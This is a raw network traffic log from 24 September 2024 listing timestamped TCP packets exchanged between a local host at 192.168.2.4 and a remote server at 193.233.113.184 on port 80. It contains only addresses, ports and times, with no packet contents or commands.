Sep 24, 2024 21:30:10.383955956 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.383966923 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.383972883 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.383984089 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.383992910 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.384002924 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.384017944 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.384028912 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.384066105 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.384757996 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.384774923 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.384789944 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.384802103 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.384805918 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.384821892 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.384839058 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.384840012 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.384855032 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.384871960 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.384887934 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.384891987 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.384902000 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.384906054 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.384917974 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.384923935 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.384941101 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.384953022 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.384955883 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.384988070 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.385005951 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.385596991 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.385613918 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.385628939 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.385643959 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.385657072 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.385667086 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.385672092 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.385675907 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.385689020 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.385703087 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.385708094 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.385720015 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.385741949 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.385747910 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.385759115 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.385775089 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.385790110 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.385816097 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.386564016 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.386579037 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.386594057 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.386612892 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.386660099 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.386678934 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.386696100 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.386713982 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.386734962 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.386758089 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.386795998 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.386837959 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.386840105 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.386885881 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.386934042 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.386949062 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.386967897 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.386980057 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.386992931 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.386992931 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.387011051 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.387017965 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.387027979 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.387041092 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.387044907 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.387058020 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.387062073 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.387083054 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.387115002 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.387454033 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.387479067 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.387495041 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.387500048 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.387514114 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.387516975 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.387532949 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.387537956 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.387551069 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.387559891 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.387567997 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.387578011 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.387583017 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.387597084 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.387602091 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.387619019 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.387623072 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.387636900 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.387656927 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.387680054 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.387985945 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.388027906 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.388034105 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.388051987 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.388077021 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.388109922 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.469217062 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.469269991 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.469289064 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.469312906 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.469342947 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.469446898 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.469463110 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.469477892 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.469492912 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.469496012 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.469526052 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.469558001 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.469681978 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.469724894 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.469754934 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.469770908 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.469796896 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.469820976 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.469938040 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.469954014 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.469969988 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.469984055 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.469990969 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.470012903 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.470042944 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.470225096 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.470242023 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.470271111 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.470290899 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.470408916 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.470424891 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.470439911 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.470454931 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.470455885 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.470473051 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.470479012 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.470489979 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.470514059 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.470535040 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.470907927 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.470925093 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.470941067 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.470953941 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.470959902 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.470973969 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.470977068 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.470993996 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.470994949 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.471012115 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.471015930 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.471029043 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.471045971 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.471057892 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.471062899 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.471076965 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.471111059 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.471606016 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.471621990 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.471637011 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.471652985 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.471652985 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.471669912 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.471685886 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.471690893 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.471703053 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.471719980 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.471729994 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.471755028 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.472356081 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.472371101 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.472385883 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.472399950 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.472402096 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.472417116 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.472434044 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.472450018 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.472453117 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.472465038 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.472482920 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.472495079 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.472497940 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.472515106 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.472517014 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.472532034 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.472548008 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.472556114 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.472564936 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.472589970 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.472611904 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.473145008 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.473161936 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.473176956 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.473190069 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.473195076 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.473211050 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.473212004 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.473227978 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.473237038 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.473243952 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.473261118 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.473274946 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.473278046 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.473292112 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.473294973 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.473309040 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.473320961 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.473324060 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.473356009 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.473391056 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.526643991 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.531588078 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.775482893 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.775516033 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.775532007 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.775540113 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.775549889 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.775608063 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.775613070 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.775624990 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.775641918 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.775650024 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.775660038 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.775679111 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.775743961 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.775743961 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.775947094 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.775963068 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.775979042 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.776017904 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.776017904 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.776036024 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.776077032 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.776103973 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.776123047 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.776148081 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.776148081 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.776169062 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.776344061 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.776359081 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.776400089 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.776411057 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.776411057 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.776417017 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.776434898 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.776452065 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.776460886 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.776460886 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.776468992 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.776490927 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.776510954 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.776797056 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.776812077 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.776866913 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.776886940 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.776964903 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.776979923 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.776998043 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.777014971 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.777028084 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.777028084 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.777030945 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.777101040 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.777101040 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.777295113 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.777309895 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.777324915 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.777338982 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.777343035 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.777354956 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.777363062 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.777371883 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.777415991 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.777415991 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.777837992 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.777853966 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.777868986 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.777888060 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.777889013 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.777903080 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.777919054 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.777923107 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.777923107 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.777936935 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.777951956 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.777956009 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.777967930 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.777983904 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.778000116 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.778012037 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.778012037 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.778017044 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.778034925 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.778053999 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.778059006 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.778100014 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.778100014 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.778851032 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.778867006 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.778882027 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.778898001 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.778901100 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.778915882 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.778933048 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.778949976 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.778958082 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.778958082 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.778968096 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.778984070 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.778999090 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.779016018 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.779017925 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.779017925 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.779069901 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.779567957 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.779583931 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.779598951 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.779613972 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.779619932 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.779632092 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.779649019 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.779664993 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.779673100 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.779680967 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.779696941 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.779702902 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.779702902 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.779712915 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.779730082 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.779736996 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.779746056 CEST	80	49730	193.233.113.184	192.168.2.4
